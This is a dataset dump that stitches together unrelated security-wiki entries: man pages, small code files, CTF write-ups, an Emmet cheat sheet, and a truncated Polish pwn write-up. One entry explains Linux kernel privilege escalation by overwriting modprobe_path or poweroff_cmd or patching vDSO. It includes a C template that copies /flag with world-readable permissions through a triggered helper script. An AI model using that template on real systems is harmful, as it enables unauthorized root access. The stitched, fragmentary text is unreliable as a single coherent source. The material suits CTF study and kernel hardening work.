text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 深入理解堆的实现
仔细想一下,任何堆的实现都需要从以下两个角度考虑相应的问题
- 宏观角度
- 创建堆
- 堆初始化
- 删除堆
- 微观角度
- 申请内存块
- 释放内存块
当然,这些都是比较高层面的想法,不同的堆的底层实现会有所不同。
|
sec-knowleage
|
.TH MINGETTY 8 "6 Apr 1996" "Debian-Local" "Linux Programmer's Manual"
.SH NAME
mingetty \- 控制台最小的 getty
.SH 总览 SYNOPSIS
.B mingetty
[\-\-noclear] [\-\-nonewline] [\-\-noissue] [\-\-nohangup] [\-\-nohostname]
[\-\-long\-hostname] [\-\-loginprog=/bin/login] [\-\-nice=10] [\-\-delay=5]
[\-\-chdir=/home] [\-\-chroot=/chroot] [\-\-autologin username]
.I tty
.PP
.SH 描述 DESCRIPTION
.B mingetty
是一个用于虚拟终端的最小的 getty。不像
.BR agetty (8)
,
.B mingetty
不适于串行线。我建议使用
.BR mgetty (8)
来替代。
.PP
.SH 选项 OPTIONS
.TP
.B \-\-noclear
在提示输入用户名之前不进行清屏操作 (通常屏幕被清除)。
.TP
.B \-\-nonewline
不在向 \fI/etc/issue\fR 输出之前打印一个信行符。
.TP
.B \-\-noissue
不输出 /etc/issue.
.TP
.B \-\-nohangup
不调用 vhangup() 来禁止其他应用程序对此 tty 的写入。
.TP
.B \-\-nohostname
不在提示登录之前打印主机名。
.TP
.B \-\-long\-hostname
默认情况下,主机名只打印第一个句点符 (dot) 前面的部分。允许这个选项之后,将显示 gethostname() 得到的全文。
.TP
.B \-\-loginprog /bin/login
改变登录程序。
.TP
.B \-\-nice 10
调用 nice() 来改变优先级。
.TP
.B \-\-delay 5
启动 \fBmingetty\fR 之后,睡眠这么多秒。
.TP
.B \-\-chdir /home
调用登录程序之前,切换到这个目录。
.TP
.B \-\-chroot /chroot
调用 chroot() ,以这个目录名作为参数。
.TP
.B \-\-autologin username
自动地以指定的用户登录,不询问用户名和密码。为此请检查
.B /bin/login
的 \-f 选项。
.PP
.SH "ISSUE ESCAPES"
.B mingetty
可以识别下列可以内置于
.I /etc/issue
文件中的 escape 序列:
.IP \fB\ed\fP
插入当前日期 (本地时间),
.IP \fB\el\fP
在
.B mingetty
运行的终端插入一行,
.IP \fB\em\fP
插入机器体系结构 (\fIuname -m\fR),
.IP \fB\en\fP
插入机器的网络节点主机名 (\fIuname -n\fR),
.IP \fB\eo\fP
插入域名,
.IP \fB\er\fP
插入操作系统发行版信息 (\fIuname -r\fR),
.IP \fB\et\fP
插入当前时间 (本地时间),
.IP \fB\es\fP
插入操作系统名称,
.IP \fB\eu\fP
以及 \fB\eU\fP
插入当前已登录的用户数。
\\U 插入 "\fIn\fP users",但是 \\u 只插入 "\fIn\fP"。
.IP \fB\ev\fP
插入操作系统版本号 (\fIuname -v\fR),
.PP
.SH 范例 EXAMPLE
"\fBLinux\ eos\ i386\ #1\ Tue\ Mar\ 19\ 21:54:09\ MET\ 1996\fP" 是将 "\fB\\s\ \\n\ \\m\ \\v\fP" 写入
.IR /etc/issue
产生的。
.PP
.SH 文件 FILES
.IR /etc/issue ,
.IR /var/run/utmp .
.PP
.SH "参见 SEE ALSO"
.BR mgetty (8),
.BR agetty (8).
.PP
.SH 作者 AUTHOR
版权所有 1996 Florian La Roche <laroche@redhat.com>。
David Frey <David.Frey@eos.lugs.ch> 和 Florian La Roche 书写了手册页。
.SH "[中文版维护人]"
.B 所罗门 <solomen@email.com.cn>
.SH "[中文版最新更新]"
.B Nov 9 2000
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {
super(64000);
}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
|
sec-knowleage
|
package org.vulhub.fastjsondemo;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.http.HttpMessageConverters;
import org.springframework.context.annotation.Bean;
import org.springframework.http.converter.HttpMessageConverter;
@SpringBootApplication
public class FastjsondemoApplication {
public static void main(String[] args) {
SpringApplication.run(FastjsondemoApplication.class, args);
}
@Bean
public HttpMessageConverters fastJsonHttpMessageConverters() {
FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter();
FastJsonConfig fastJsonConfig = new FastJsonConfig();
fastJsonConfig.setSerializerFeatures(SerializerFeature.PrettyFormat);
fastConverter.setFastJsonConfig(fastJsonConfig);
HttpMessageConverter<?> converter = fastConverter;
return new HttpMessageConverters(converter);
}
}
|
sec-knowleage
|
time
===
统计给定命令所花费的总时间
## 补充说明
`time` 命令是用来确定一个给定的命令需要运行多长时间。它对于测试你的脚本和命令的性能很有用。
例如,如果你有两个不同的脚本在做同样的工作,你想知道哪一个表现得更好,你可以用 Linux 的时间命令来确定每个脚本的执行时间。
该指令是 shell 内指令,也是一个软件包,**对于软件包的说明在这篇文档靠下的部分**
## 语法
```shell
time <指令>
```
## 参数
指令:指定需要运行的额指令及其参数。
## 实例
当测试一个程序或比较不同算法时,执行时间是非常重要的,一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令,使用这个命令可以统计时间消耗。例如:
```shell
$ time ls
anaconda-ks.cfg install.log install.log.syslog satools text
real 0m0.009s
user 0m0.002s
sys 0m0.007s
```
这里的输出会因为使用的发行版本不同而导致展示的结果不同,比如:
```shell
# Bash
real 0m33.961s
user 0m0.340s
sys 0m0.940s
# Zsh
0.34s user 0.94s system 4% cpu 33.961 total
# GNU time (sh)
0.34user 0.94system 0:33.96elapsed 4%CPU (0avgtext+0avgdata 6060maxresident)k
0inputs+201456outputs (0major+315minor)pagefaults 0swaps
```
`real` 或者 `total` 或者 `elapsed`(挂钟时间)是指从调用开始到结束的时间。它是指从你按下回车键的那一刻开始,到命令完成的那一刻为止的时间。
user - 在用户模式下花费的CPU时间。
system 或 sys - 在内核模式下花费的CPU时间。
## 软件包
接下来的部分是关于 `time` 软件包提供的 `/usr/bin/time` 二进制可执行程序,而不是 shell 内建的 time 命令。
### 软件包的语法
一些 shells(例如 `bash` )有一个内置的 `time` 命令,提供类似的关于时间和可能的其他资源的使用信息。
要访问真正的命令,可能需要指定其路径名(类似于`/usr/bin/time`)。
```shell
time [options] command [arguments...]
```
### 软件包指令参数
-f format, --format=format
指定输出格式,可能覆盖环境变量TIME中指定的格式。
-p, --portability
使用可移植的输出格式。
-o file, --output=file
不将结果发送到stderr,而是覆盖指定的文件。
-a, --append
(与-o一起使用。)不覆盖而是附加。
-v, --verbose
对程序知道的所有信息进行非常详细的输出。
-q, --quiet
不报告异常的程序终止(当命令被信号终止时)或非零退出状态。
### 软件包实例
使用`-o`选项将执行时间写入到文件中:
```shell
/usr/bin/time -o outfile.txt ls
```
使用`-a`选项追加信息:
```shell
/usr/bin/time -a -o outfile.txt ls
```
使用`-f`选项格式化时间输出:
```shell
/usr/bin/time -f "time: %U" ls
```
`-f`选项后的参数:
参数 | 描述
--- | ---
`%E` | real时间,显示格式为[小时:]分钟:秒
`%U` | user时间。
`%S` | sys时间。
`%C` | 进行计时的命令名称和命令行参数。
`%D` | 进程非共享数据区域,以KB为单位。
`%x` | 命令退出状态。
`%k` | 进程接收到的信号数量。
`%w` | 进程被交换出主存的次数。
`%Z` | 系统的页面大小,这是一个系统常量,不用系统中常量值也不同。
`%P` | 进程所获取的CPU时间百分百,这个值等于 `user+system` 时间除以总共的运行时间。
`%K` | 进程的平均总内存使用量(data+stack+text),单位是 `KB`。
`%w` | 进程主动进行上下文切换的次数,例如等待I/O操作完成。
`%c` | 进程被迫进行上下文切换的次数(由于时间片到期)。
## 参考资料
- Linux Time Command | Linuxize <https://linuxize.com/post/linux-time-command/>
- time(1) — Arch manual pages <https://man.archlinux.org/man/time.1>
- Time - ArchWiki <https://wiki.archlinux.org/title/time>
|
sec-knowleage
|
data = [0x7a, 0xe5, 0x85, 0x02, 0x22, 0xb8, 0x2d, 0x4f, 0x3d, 0x29, 0x00, 0xf9, 0x13, 0x37, 0xaf, 0x79, 0x10, 0x2e, 0x27, 0x16, 0x6e, 0x3e, 0x27, 0x6d, 0x0d, 0xab, 0x72, 0x58, 0x2c, 0x42, 0x95, 0x2c, 0x72, 0xd3, 0x88, 0x9b, 0x11, 0x0d, 0xe1, 0xf0, 0x58, 0xa0, 0x98, 0xd1, 0x79, 0x23, 0x05, 0x35, 0x37, 0xd0, 0x46, 0x71, 0x09, 0x65, 0xaf, 0x85, 0x13, 0x91, 0x95, 0xa6, 0x2b, 0x73, 0x35, 0x62]
print len(data)
seed = 0xa5a5a5a5
for i in range(16):
seed *= 0x41c64e6d
seed += 0x3039
seed &= 0x7fffFFFF
const = data[i*4:i*4+4]
c = 0
for j in const:
c <<= 8
c |= j
val = c ^ seed
val = (val & 0x7f) - 3
print chr(val)
|
sec-knowleage
|
jed
===
主要用于编辑代码的编辑器
## 补充说明
**jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。
### 语法
```shell
jed(选项)(参数)
```
### 选项
```shell
-2:显示上下两个编辑区;
-batch:以批处理模式来执行;
-f<函数>:执行Slang函数;
-g<行数>:移到缓冲区中指定的行数;
-i<文件>:将指定的文件载入缓冲区;
-n:不要载入jed.rc配置文件;
-s<字符串>:查找并移到指定的字符串。
```
### 参数
文件:指定待编辑的文件列表。
### 实例
以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区:
```shell
jed -2 mysource.c
```
**操作**
有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑`/usr/share/jed/lib/menus.slc`找到如下段落:
```shell
unsetsetkey ("selectmenubar", "\em");
unsetsetkey ("@\emF", "\ef");
unsetsetkey ("@\emE", "\ee");
unsetsetkey ("@\emo", "\eo");
% Mode menu unsetsetkey ("@\emS", "\es");
unsetsetkey ("@\emB", "\eb");
unsetsetkey ("@\emi", "\ei");
unsetsetkey ("@\emH", "\eh");
unset_setkey ("@\emy", "\ey");
```
可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键。
由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法。
**文件**
```shell
/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。
/usr/share/jed/lib/site.sl 这是默认的启动文件。
/etc/jed.rc 这是全局系统配置文件。
~/.jedrc 这是用户配置文件。
```
|
sec-knowleage
|
cu
===
用于连接另一个系统主机
## 补充说明
**cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。
### 语法
```shell
cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>]
[-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>]
```
### 选项
```shell
-a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。
-c<电话号码>或--phone<电话号码> 拨打该电话号码。
-d 进入排错模式。
-e或--parity=even 使用双同位检查。
-E<脱离字符>或--escape<脱离字符> 设置脱离字符。
-h或--halfduple 使用半双工模式。
-I<配置文件>或--config<配置文件> 指定要使用的配置文件。
-l<外围设备代号>或--line<外围设备代号> 指定某项外围设备,作为连接的设备。
-n或--prompt 拨号时等待用户输入电话号码。
-o或--parity=odd 使用单同位检查。
-s<连线速率>或--speed<连线速率>或--baud<连线速率>或-<连线速率> 设置连线的速率,单位以鲍率计算。
-t或--maper 把CR字符置换成LF+CR字符。
-v或--version 显示版本信息。
-x<排错模式>或--debug<排错模式> 使用排错模式。
-z<系统主机>或--system<系统主机> 连接该系统主机。
--help 在线帮助。
--nostop 关闭Xon/Xoff软件流量控制。
--parity=none 不使用同位检查。
```
### 实例
与远程主机连接
```shell
cu -c 0102377765
cu -s 38400 9=12015551234
```
|
sec-knowleage
|
# New Caesar
Category: Crypto, 60 points
## Description
> We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{})
>
> `kjlijdliljhdjdhfkfkhhjkkhhkihlhnhghekfhmhjhkhfhekfkkkjkghghjhlhghmhhhfkikfkfhm`
A Python file was attached:
```python
import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_encode(plain):
enc = ""
for c in plain:
binary = "{0:08b}".format(ord(c))
enc += ALPHABET[int(binary[:4], 2)]
enc += ALPHABET[int(binary[4:], 2)]
return enc
def shift(c, k):
t1 = ord(c) - LOWERCASE_OFFSET
t2 = ord(k) - LOWERCASE_OFFSET
return ALPHABET[(t1 + t2) % len(ALPHABET)]
flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key])
assert len(key) == 1
b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
enc += shift(c, key[i % len(key)])
print(enc)
```
## Solution
This encryption scheme first encodes the plaintext as `base16` (which essentially encodes each nibble of the plaintext as a character) and then applies a shift cipher to it.
So, in order to reverse the operation, let's start by implementing the opposite operations:
```python
import string
LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]
def b16_decode(enc):
plain = ""
for c1, c2 in zip(enc[0::2], enc[1::2]):
n1 = "{0:04b}".format(ALPHABET.index(c1))
n2 = "{0:04b}".format(ALPHABET.index(c2))
binary = int(n1 + n2, 2)
plain += chr(binary)
return plain
def unshift(c, k):
t1 = ord(c) - LOWERCASE_OFFSET
t2 = ord(k) - LOWERCASE_OFFSET
return ALPHABET[(t1 - t2) % len(ALPHABET)]
def decrypt(enc, key):
dec = ""
for i, c in enumerate(enc):
dec += unshift(c, key[i % len(key)])
return dec
```
Now we can iterate all the possible keys (which are all the letters in the alphabet), try to decrypt the ciphertext and if the result is a legal base16 string, try to decrypt that as well. We'll ignore anything that doesn't result in a printable plaintext.
```python
ciphertext = "kjlijdliljhdjdhfkfkhhjkkhhkihlhnhghekfhmhjhkhfhekfkkkjkghghjhlhghmhhhfkikfkfhm"
for k in ALPHABET:
decrypted = decrypt(ciphertext, k)
if all([c in ALPHABET for c in decrypted]):
decoded = b16_decode(decrypted)
if all([c in string.printable for c in decoded]):
print(f"Key: {k}, Plaintext: {decoded}")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/New_Caesar]
└─$ python3 solve.py
Key: e, Plaintext: et_tu?_1ac5f3d7920a85610afeb2572831daa8
Key: f, Plaintext: TcNcd.N PR$U"S&(!/P'$% /PUTQ!$&!'" SPP'
```
The first one makes more sense, given the context. The flag: `picoCTF{et_tu?_1ac5f3d7920a85610afeb2572831daa8}`
|
sec-knowleage
|
## Colors (ppc/Programming, 100p)
### PL Version
`for ENG version scroll down`
System wyświetlał na stronie internetowej obrazek złożony z kwadratów. Wsystkie kwadraty oprócz jednego miały taki sam kolor - jeden z nich miał lekko inny odcień. Celem zadania było kliknięcie w ten odmienny kwadrat. System rejestrował gdzie kliknęliśmy i na tej podstawie oceniał poprawność rozwiązania i prezentował kolejny przykład.
Celem było rozwiązanie kilkudziesieciu przykładów pod rząd w celu uzyskania flagi.

Aby rozwiązać zadany problem przygotowaliśmy skrypt w pythonie z użyciem Python Images Library dostępny [tutaj](colors.py).
Skrypt pobiera zadany obraz, wylicza rozkład kolorów pikseli i na tej podstawie wybiera najrzadziej występujący kolor (pomiajając biały, który oddziela kwadarty od siebie). Następnie skanujemy obraz w poszukiwaniu jakiegoś piksela tego koloru i zwracamy pozycję tego piksela jako rozwiązanie.
def getPixel(picture_path):
fd = urllib.urlopen(picture_path)
image_file = io.BytesIO(fd.read())
im = Image.open(image_file)
colors_distribution = im.getcolors()
non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)]
ordered = sorted(non_white, key=lambda x: x[0], reverse=False)
print(ordered[0])
width, height = im.size
for index, color in enumerate(im.getdata()):
if color == ordered[0][1]:
y = index / width
x = index % width
return x, y
Po rozwiązaniu kilkudziesięciu przykładów otrzymujemy: `TMCTF{U must have R0807 3Y3s!}`
### ENG Version
The system displays on a webpage an image consisting of squares. All but one have the same color - one has a slighly different shade. The task was to click in on the square with different color. The system would register the click location and decide if our solution is correct. We had to solve multiple consecutive examples in order to get the flag.

To solve the task we prepared a python script using Python Images Library available [here](colors.py).
The script downloads the picture, calculates the colors disitrbution and base don this selects the least frequent color (omitting white, which separates the squares). Next we can the picture looking for a pixel with this color and we return this pixel position as the solution.
def getPixel(picture_path):
fd = urllib.urlopen(picture_path)
image_file = io.BytesIO(fd.read())
im = Image.open(image_file)
colors_distribution = im.getcolors()
non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)]
ordered = sorted(non_white, key=lambda x: x[0], reverse=False)
print(ordered[0])
width, height = im.size
for index, color in enumerate(im.getdata()):
if color == ordered[0][1]:
y = index / width
x = index % width
return x, y
After few dozens of examples we finally get: `TMCTF{U must have R0807 3Y3s!}`
|
sec-knowleage
|
### PWN关于Change Others概述
如果我们可以改变特权进程的执行轨迹,也可以实现提权。这里我们从以下角度来考虑如何改变特权进程的执行轨迹。
- 改数据
- 改代码
### Change Others基于改数据的方法介绍之符号链接
如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权。
### Change Others基于改数据的方法介绍之call_usermodehelper
`call_usermodehelper` 是一种内核线程执行用户态应用的方式,并且启动的进程具有 root 权限。因此,如果我们能够控制具体要执行的应用,那就可以实现提权。在内核中,`call_usermodehelper` 具体要执行的应用往往是由某个变量指定的,因此我们只需要想办法修改掉这个变量即可。不难看出,这是一种典型的数据流攻击方法。一般常用的主要有以下几种方式。
### call_usermodehelper方法基于修改 modprobe_path的介绍
修改 modprobe_path 实现提权的基本流程如下
1. 获取 modprobe_path 的地址。
2. 修改 modprobe_path 为指定的程序。
3. 触发执行 `call_modprobe `,从而实现提权 。这里我们可以利用以下几种方式来触发
1. 执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求(参考 call_usermodehelper 部分的介绍)。
2. 使用未知协议来触发。
这里我们也给出使用 modprobe_path 的模板。
```c
// step 1. modify modprobe_path to the target value
// step 2. create related file
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");
// step 3. trigger it using unknown executable
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
// step 3. trigger it using unknown protocol
socket(AF_INET,SOCK_STREAM,132);
```
在这个过程中,我们着重关注下如何定位 modprobe_path。
##### 直接定位
由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。
##### 间接定位
考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。
### call_usermodehelper方法基于修改 poweroff_cmd的介绍
1. 修改 poweroff_cmd 为指定的程序。
2. 劫持控制流执行 `__orderly_poweroff`。
关于如何定位 poweroff_cmd,我们可以采用类似于定位 `modprobe_path` 的方法。
### Change Others基于改代码的方法之修改 vDSO 代码
内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时,我们就可以进行提权。
在早期的时候,Linux 中的 vDSO 是可写的,考虑到这样的风险,Kees Cook 提出引入 `post-init read-only` 的数据,即将那些初始化后不再被写的数据标记为只读,来防御这样的利用。
在引入之前,vDSO 对应的 raw_data 只是标记了对齐属性。
```c
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __page_aligned_data = {",
mapping_size);
```
引入之后,vDSO 对应的 raw_data 则被标记为了初始化后只读。
```c
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __ro_after_init __aligned(PAGE_SIZE) = {",
mapping_size);
```
通过修改 vDSO 进行提权的基本方式如下
- 定位 vDSO
- 修改 vDSO 的特定函数为指定的 shellcode
- 等待触发执行 shellcode
这里我们着重关注下如何定位 vDSO。
### vDSO 代码在ida 里定位方式
这里我们介绍一下如何在 vmlinux 中找到 vDSO 的位置。
1. 在 ida 里定位 init_vdso 函数的地址
```c
__int64 init_vdso()
{
init_vdso_image(&vdso_image_64 + 0x20000000);
init_vdso_image(&vdso_image_x32 + 0x20000000);
cpu_maps_update_begin();
on_each_cpu((char *)startup_64 + 0x100003EA0LL, 0LL, 1LL);
_register_cpu_notifier(&sdata + 536882764);
cpu_maps_update_done();
return 0LL;
}
```
2. 可以看到 `vdso_image_64` 和 `vdso_image_x32`。以`vdso_image_64` 为例,点到该变量的地址
```
.rodata:FFFFFFFF81A01300 public vdso_image_64
.rodata:FFFFFFFF81A01300 vdso_image_64 dq offset raw_data ; DATA XREF: arch_setup_additional_pages+18↑o
.rodata:FFFFFFFF81A01300 ; init_vdso+1↓o
```
3. 点击 `raw_data` 即可知道 64 位 vDSO 在内核镜像中的地址,可以看到,vDSO 确实是以页对齐的。
```
.data:FFFFFFFF81E04000 raw_data db 7Fh ; ; DATA XREF: .rodata:vdso_image_64↑o
.data:FFFFFFFF81E04001 db 45h ; E
.data:FFFFFFFF81E04002 db 4Ch ; L
.data:FFFFFFFF81E04003 db 46h ; F
```
从最后的符号来看,我们也可以直接使用 `raw_data` 来寻找 vDSO。
### vDSO 代码在内存中定位方式
##### 直接定位
vDSO 其实是一个 ELF 文件,具有 ELF 文件头。同时,vDSO 中特定位置存储着导出函数的字符串。因此我们可以根据这两个特征来扫描内存,定位 vDSO 的位置。
##### 间接定位
考虑到 vDSO 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 vDSO 的地址。
|
sec-knowleage
|
---
title: Emmet
date: 2020-12-14 18:28:43
background: bg-[#95c844]
tags:
- snippets
- coding
- html
- css
- abbr
categories:
- Toolkit
intro: |
[Emmet](https://emmet.io/) is a web-developer’s toolkit for boosting HTML & CSS code writing, which allows you to write large HTML code blocks at speed of light using well-known CSS selectors.
plugins:
- copyCode
---
Emmet Syntax
---------------
### Getting started
Let us start to improve your development to the speed of light.
- [Emmet in Visual Studio Code](https://code.visualstudio.com/docs/editor/emmet) _(code.visualstudio.com)_
- [Emmet 2 for Sublime Text](https://github.com/emmetio/sublime-text-plugin) _(github.com)_
- [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_
- [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_
### Multiplication: *
ul>li*5
```html
<ul>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
```
### Child: >
`nav>ul>li`
```html
<nav>
<ul>
<li></li>
</ul>
</nav>
```
### Custom attributes {.col-span-2}
p[title="Hello world"]
```html
<p title="Hello world"></p>
```
td[rowspan=2 colspan=3 title]
```html
<td rowspan="2" colspan="3" title=""></td>
```
[a='value1' b="value2"]
```html
<div a="value1" b="value2"></div>
```
### Text: {}
a{Click me}
```html
<a href="">Click me</a>
```
p>{Click }+a{here}+{ to continue}
```html {.wrap}
<p>Click <a href="">here</a> to continue</p>
```
### ID and CLASS attributes {.row-span-2}
`#header`
```html
<div id="header"></div>
```
.title
```html
<div class="title"></div>
```
form#search.wide
```html
<form id="search" class="wide"></form>
```
p.class1.class2.class3
```html
<p class="class1 class2 class3"></p>
```
### Implicit tag names {.row-span-2}
.class
```html
<div class="class"></div>
```
em>.class
```html
<em><span class="class"></span></em>
```
ul>.class
```html
<ul>
<li class="class"></li>
</ul>
```
table>.row>.col
```html
<table>
<tr class="row">
<td class="col"></td>
</tr>
</table>
```
### Sibling: +
div+p+bq
```html
<div></div>
<p></p>
<blockquote></blockquote>
```
### Climb-up: ^
div+div>p>span+em^bq
```html
<div></div>
<div>
<p><span></span><em></em></p>
<blockquote></blockquote>
</div>
```
div+div>p>span+em^^bq
```html
<div></div>
<div>
<p><span></span><em></em></p>
</div>
<blockquote></blockquote>
```
### Grouping: ()
div>(header>ul>li*2>a)+footer>p
```html
<div>
<header>
<ul>
<li><a href=""></a></li>
<li><a href=""></a></li>
</ul>
</header>
<footer>
<p></p>
</footer>
</div>
```
(div>dl>(dt+dd)*4)+footer>p
```html
<div>
<dl>
<dt></dt>
<dd></dd>
<dt></dt>
<dd></dd>
<dt></dt>
<dd></dd>
<dt></dt>
<dd></dd>
</dl>
</div>
<footer>
<p></p>
</footer>
```
### $ {.row-span-2}
ul>li.item$*3
```html
<ul>
<li class="item1"></li>
<li class="item2"></li>
<li class="item3"></li>
</ul>
```
h$[title=item$]{Header $}*3
```html
<h1 title="item1">Header 1</h1>
<h2 title="item2">Header 2</h2>
<h3 title="item3">Header 3</h3>
```
ul>li.item$$$*3
```html
<ul>
<li class="item001"></li>
<li class="item002"></li>
<li class="item003"></li>
</ul>
```
ul>li.item$@-*3
```html
<ul>
<li class="item3"></li>
<li class="item2"></li>
<li class="item1"></li>
</ul>
```
ul>li.item$@2*3
```html
<ul>
<li class="item2"></li>
<li class="item3"></li>
<li class="item4"></li>
</ul>
```
Also see {.cols-1}
--------
* [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
|
sec-knowleage
|
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, write to the Free
.\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111,
.\" USA.
.\"
.\" Modified Sat Jul 24 16:56:20 1993 by Rik Faith <faith@cs.unc.edu>
.\" Modified Mon Oct 21 21:38:51 1996 by Eric S. Raymond <esr@thyrsus.com>
.\" (and some more by aeb)
.\"
.TH HD 4 1992-12-17 "Linux" "Linux Programmer's Manual"
.SH NAME
hd \- MFM/IDE 硬盘设备
.SH "描述 DESCRIPTION"
\fBhd*\fP 开头的设备是以裸模式(raw mode)访问MFM/IDE类型硬盘的块
设备. 第一个IDE驱动控制器上的主盘(主设备号3)是 \fBhda\fR ;从盘是 \fBhdb\fR.
第二个IDE驱动器控制器(主设备号22)是 \fBhdc\fR ,从为 \fBhdd\fR.
.LP
大多数IDE 块设备以
.BI hd X\c
, 或者
.BI hd XP\c
的形式命名, 其中字母
.I X
代表任意字母以表示各个物理设备.其中P表示各个物理设备中分区的代号.
.I P
表示各个物理设备中分区的代号。第一种形式
.BI hd X,
代表整个驱动器的地址,而分区号是按照每个分区
被发现的顺序分配的,并且只有非空和非扩展分区才能有这个号码
然而不管这个分区是未使用过的还是扩展的,在MBR中只纪录四个分区
号码依次为1-4. 因此逻辑分区只能从
.BI hd X 5\c
开始。支持DOS 风格的分区以及BSD-磁盘卷标分区。
你最多可以在一个IDE磁盘上建立63个分区.
.LP
例如,
.B /dev/hda
代表第一个IDE驱动器的全部;
.B /dev/hdb3
代表第二块IDE硬盘上的第三DOS 主分区.
.LP
典型如下建立:
.RS
.sp
mknod -m 660 /dev/hda b 3 0
.br
mknod -m 660 /dev/hda1 b 3 1
.br
mknod -m 660 /dev/hda2 b 3 2
.br
\&...
.br
mknod -m 660 /dev/hda8 b 3 8
.br
mknod -m 660 /dev/hdb b 3 64
.br
mknod -m 660 /dev/hdb1 b 3 65
.br
mknod -m 660 /dev/hdb2 b 3 66
.br
\&...
.br
mknod -m 660 /dev/hdb8 b 3 72
.br
chown root:disk /dev/hd*
.RE
.SH "文件 FILES"
/dev/hd*
.SH "参见 SEE ALSO"
.BR mknod (1),
.BR chown (1),
.BR mount (8),
.BR sd (4)
.SH "[中文版维护人]"
.B trcbilg <email>
.SH "[中文版最新更新]"
.B 2000.11.22
.SH "《中国linux论坛man手册翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## rhinoxorus (pwn, 500p, ? solves)
Dostajemy program i analizujemy go. Po uruchomieniu wczytuje on zawartość pliku password.txt do zmiennej globalnej, i zaczyna nasłuchiwać na porcie 24242 i forkuje się dla każdego połączenia.
